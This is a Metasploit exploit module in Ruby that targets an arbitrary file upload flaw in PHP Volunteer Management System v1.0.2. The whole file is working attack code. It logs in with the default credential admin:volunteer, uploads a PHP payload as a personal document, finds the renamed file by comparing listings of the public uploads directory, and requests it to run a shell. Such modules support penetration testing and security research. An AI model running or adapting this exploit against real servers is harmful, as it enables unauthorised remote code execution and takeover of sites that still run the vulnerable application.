##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in PHP Volunteer Management System,
				version v1.0.2 or prior.  This application has an upload feature that allows an
				authenticated user to upload anything to the 'uploads' directory, which is actually
				reachable by anyone without a credential.  An attacker can easily abuse this upload
				functionality first by logging in with the default credential (admin:volunteer),
				upload a malicious payload, and then execute it by sending another GET request.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Ashoo <ashoo.online[at]gmail.com>',
					'sinn3r' #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '82391'],
					['EDB', '18941'],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['PHP Volunteer Management 1.0.2', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 28 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base path to the web application', '/bf102/']),
				OptString.new('USERNAME',  [true, 'The username to login', 'admin']),
				OptString.new('PASSWORD',  [true, 'The password to login', 'volunteer'])
			], self.class)
	end


	#
	# Login to the web application.
	# When you send the very first request to the app, you're assigned with a cookie called
	# 'PHPVolunteerManagent'.  This is something you must keep, because after authentication,
	# that same cookie becomes your auth token.
	#
	def login(base, username, password)
		# Get cookie: PHPVolunteerManagent
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{base}index.php"
		})

		# If we don't get a cookie, bail!
		if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/
			cookie = $1
			vprint_status("#{@peer} - Found cookie: #{cookie}")
		else
			return nil
		end

		# Find the location for login
		login_location = res.headers['Location'] || '?p=login'

		# And then login!
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{base}index.php#{login_location}",
			'cookie'    => cookie,
			'vars_post' => {
				'volunteer_email'    => username,
				'volunteer_password' => password,
				'submit'             => 'Login!'
			}
		})

		# If the app wants to redirect us to the dashboard, we
		# assume the login was successful
		if res and res.headers['Location'] =~ /\?p\=dashboard/
			return cookie
		else
			return nil
		end
	end


	#
	# Upload the payload as a personal document.
	# This will save the file in: mods/documents/uploads/
	# And then we return the HTTP response, which should contain some message indicating
	# whether we successfully uploaded the file, or not.
	#
	def upload(base, cookie, fname, file, description)
		boundary = "----WebKitFormBoundary#{rand_text_alpha(10)}"

		endpoint = "#{rhost}"
		endpoint << ":#{rport}" if rport.to_i != 80

		data_post  = "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{fname}\"\r\n"
		data_post << "Content-Type: text/php\r\n"
		data_post << "\r\n"
		data_post << file
		data_post << "\r\n"
		data_post << "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"description\"\r\n"
		data_post << "\r\n"
		data_post << description
		data_post << "\r\n"
		data_post << "--#{boundary}\r\n"
		data_post << "Content-Disposition: form-data; name=\"submit\"\r\n"
		data_post << "\r\n"
		data_post << "Submit"
		data_post << "\r\n"
		data_post << "--#{boundary}--\r\n"

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}index.php?p=upload_personal_document",
			'cookie'  => cookie,
			'ctype'   => "multipart/form-data; boundary=#{boundary}",
			'data'    => data_post,
			'headers' => {
				'Referer' => "http://#{endpoint}#{base}index.php?p=upload_personal_document"
			}
		})

		return res
	end


	#
	# Find all the new files from the 'uploads' directory.
	# This trick is necessary, because when we upload a file, our filename
	# is renamed to something else with a timestamp.  Since we cannot reliability
	# guess what the filename is going to be, we can at least compare both before/after
	# snapshots to figure it out.
	#
	def get_my_file(before, after)
		r = /\<td\>\<a href\=\"(\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+)\"\>\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+\<\/a\>\<\/td\>/
		b = (before.scan(r) || []).flatten
		a = (after.scan(r)  || []).flatten

		# Return all the new uploads
		return a - b
	end


	#
	# This function will return the raw HTTP response like a snapshot,
	# which later can be used for comparision.
	#
	def peek_uploads(base, cookie)
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{base}mods/documents/uploads/",
			'cookie' => cookie
		})

		return res
	end


	#
	# The exploit function does exploity things
	#
	def exploit
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'

		@peer = "#{rhost}:#{rport}"

		# Login
		username = datastore['USERNAME']
		password = datastore['PASSWORD']
		cookie = login(base, username, password)
		if cookie.nil?
			print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
			return
		end

		print_status("#{@peer} - Login successful with #{username}:#{password}")

		# Take a snapshot of the uploads directory
		# Viewing this doesn't actually require the user to login first,
		# but we supply the cookie anyway to act more like a real user.
		print_status("#{@peer} - Enumerating all the uploads...")
		before = peek_uploads(base, cookie)
		if before.nil?
			print_error("#{@peer} - Unable to enumerate original uploads")
			return
		end

		# Upload our PHP shell
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
		fname = rand_text_alpha(rand(10)+6) + '.php'
		desc  = rand_text_alpha(rand(10)+5)
		php   = %Q|<?php #{payload.encoded} ?>|
		res = upload(base, cookie, fname, php, desc)
		if res.nil? or res.body !~ /The file was successfuly uploaded/
			print_error("#{@peer} - Failed to upload our file")
			return
		end

		# Now that we've uploaded our shell, let's take another snapshot
		# of the uploads directory.
		print_status("#{@peer} - Enumerating new uploads...")
		after = peek_uploads(base, cookie)
		if after.nil?
			print_error("#{@peer} - Unable to enumerate latest uploads")
			return
		end

		# Find the filename of our uploaded shell
		files = get_my_file(before.body, after.body)
		if files.empty?
			print_error("#{@peer} - No new file(s) found. The upload probably failed.")
			return
		else
			vprint_status("#{@peer} - Found these new files: #{files.inspect}")
		end

		# There might be more than 1 new file, at least execute the first 10
		# just to make sure.  Don't want to try too many either.
		counter = 0
		files.each do |f|
			counter += 1
			break if counter > 10
			print_status("Trying file: #{f}")
			send_request_raw({
				'method' => 'GET',
				'uri'    => "#{base}mods/documents/uploads/#{f}",
				'cookie' => cookie
			})
		end

		handler
	end
end